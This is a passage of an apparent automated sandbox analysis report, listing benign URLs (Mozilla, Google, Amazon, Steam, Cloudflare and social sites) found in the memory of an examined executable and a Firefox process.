Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 0000001D.00000002.2126645860.000001C962BDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C9674AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001D.00000002.2252344441.000001C9696CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168505988.000001C9678EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2144220840.000001C964800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C9674AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2194286820.000001C9688BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2300171636.000001C96F585000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 0000001D.00000002.2168505988.000001C96780A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: 8138ba21a1.exe, 00000012.00000003.2049402279.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001D.00000002.2168505988.000001C96780A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F7E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2170759523.000001C967C10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2170759523.000001C967C10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2170759523.000001C967C10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2170759523.000001C967C10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001D.00000002.2126645860.000001C962BDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F786000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C967445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2199273661.000001C968A49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2175868045.000001C968331000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2175868045.000001C968391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2150615780.000001C966D6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2150615780.000001C966D77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001D.00000002.2175868045.000001C9683C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F76E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F786000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C967445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2199273661.000001C968A49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2175868045.000001C968391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000003.1460412273.000000000598E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2125679679.000001C962AAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: firefox.exe, 0000001D.00000002.2300171636.000001C96F54B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984164128.000001C966D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985500280.000001C966F60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C967403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F76E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2094028920.000001C9686CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984524321.000001C966F21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F716000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2194286820.000001C96884F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985862608.000001C966F7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2194286820.000001C9688AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2110617616.000001C9686CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963424000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985118386.000001C966F40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001D.00000002.2175868045.000001C96836D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2199273661.000001C968A49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001D.00000002.2175868045.000001C9683C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001D.00000002.2175868045.000001C9683C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2249675969.000001C96953A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2175868045.000001C968391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: file.exe, 00000000.00000003.1417736971.0000000001172000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1418033893.0000000001170000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417659219.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: file.exe, 00000000.00000003.1417736971.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417736971.0000000001172000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/a
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/acces
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/accesordsX
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/accesordsXX
Source: file.exe, 00000000.00000003.1417659219.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2175868045.000001C968391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001D.00000002.2175868045.000001C9683C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000003.1432143495.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1432027531.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431960048.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2000505983.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999933119.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999766208.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: firefox.exe, 0000001D.00000002.2175868045.000001C96836D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2175868045.000001C968391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001D.00000002.2303891585.000001C96F71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2028791099.000001C96F429000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2029722717.000001C96F3C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001D.00000002.2175868045.000001C96836D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984164128.000001C966D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985500280.000001C966F60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984524321.000001C966F21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985862608.000001C966F7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985118386.000001C966F40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1432143495.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1432027531.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431960048.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2000505983.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999933119.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999766208.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: firefox.exe, 0000001D.00000002.2303891585.000001C96F71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984164128.000001C966D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985500280.000001C966F60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C967403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2094028920.000001C9686CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984524321.000001C966F21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F716000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2194286820.000001C96884F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985862608.000001C966F7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2194286820.000001C9688AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2167562247.000001C9677D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2110617616.000001C9686CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963424000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985118386.000001C966F40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: firefox.exe, 0000001D.00000002.2267577999.000001C96ACB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2249675969.000001C96953A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001D.00000002.2267577999.000001C96ACB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/
Source: file.exe, 00000000.00000003.1460412273.000000000598E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2125679679.000001C962AAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2249675969.000001C96953A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F74A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2116291536.0000003BB00FB000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C9674AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F748000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2277444887.000001C96F00D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001D.00000002.2175868045.000001C968399000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2277444887.000001C96F0C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: firefox.exe, 0000001D.00000002.2168505988.000001C96780A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2051838135.000001C967649000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2054319782.000001C96763E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2050257508.000001C96763A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 0000001D.00000002.2168505988.000001C96780A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000003.1460153484.0000000005C9F000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2049402279.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168505988.000001C96780A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F7E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: firefox.exe, 0000001D.00000002.2168505988.000001C96780A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-mod
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2125679679.000001C962A5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: file.exe, 00000000.00000003.1460153484.0000000005C9F000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2049402279.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168505988.000001C96780A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001D.00000002.2175868045.000001C9683C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2286214238.000001C96F22D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2150615780.000001C966D77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F76E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F786000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C967445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2199273661.000001C968A49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2249675969.000001C96953A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A94000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: firefox.exe, 0000001D.00000002.2175868045.000001C9683C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.c3a9
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F76E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2277444887.000001C96F03C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C967445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2199273661.000001C968A49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F73F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2310925330.000001C971677000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2175868045.000001C968391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
